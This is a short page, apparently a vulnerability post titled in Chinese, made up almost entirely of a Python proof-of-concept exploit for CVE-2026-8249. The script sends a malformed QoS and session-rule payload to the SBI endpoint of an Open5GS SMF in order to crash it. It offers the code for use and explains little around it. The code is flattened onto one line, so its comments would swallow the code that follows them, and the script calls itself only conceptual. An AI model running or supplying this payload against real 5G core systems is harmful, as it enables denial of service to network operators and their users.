CVE-2026-8249 Open5GS拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-8249 (Open5GS DoS) # Target: Open5GS SMF Component import requests import json # Replace with the actual target IP and port of the Open5GS SMF # SMF typically exposes an SBI interface (HTTP/2) target_url = "http://<TARGET_IP>:<PORT>/npcf-smpolicycontrol/v1/sm-policies" # Malformed payload designed to trigger the flaw in update_authorized_pcc_rule_and_qos # This payload simulates a corrupted QoS update request malicious_payload = { "invalid_qos": { "5qi": -1, # Invalid QoS Flow Identifier "arp": { "priority_level": 999, # Out of bounds priority "preempt_cap": "INVALID_VALUE", "preempt_vuln": "INVALID_VALUE" } }, "session_rules": [ { "auth_sess_ambr": { "uplink": "999999999999999999999", # Extremely large value "downlink": "999999999999999999999" } } ] } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-8249-PoC" } try: print(f"[*] Sending payload to {target_url}...") # Note: Open5GS SBI often uses HTTP/2, standard requests library might need http2 adapter. # This is a conceptual representation of the request. response = requests.post(target_url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"[*] Response status code: {response.status_code}") print("[*] If the service crashes, the vulnerability is confirmed.") except Exception as e: print(f"[!] Error occurred: {e}")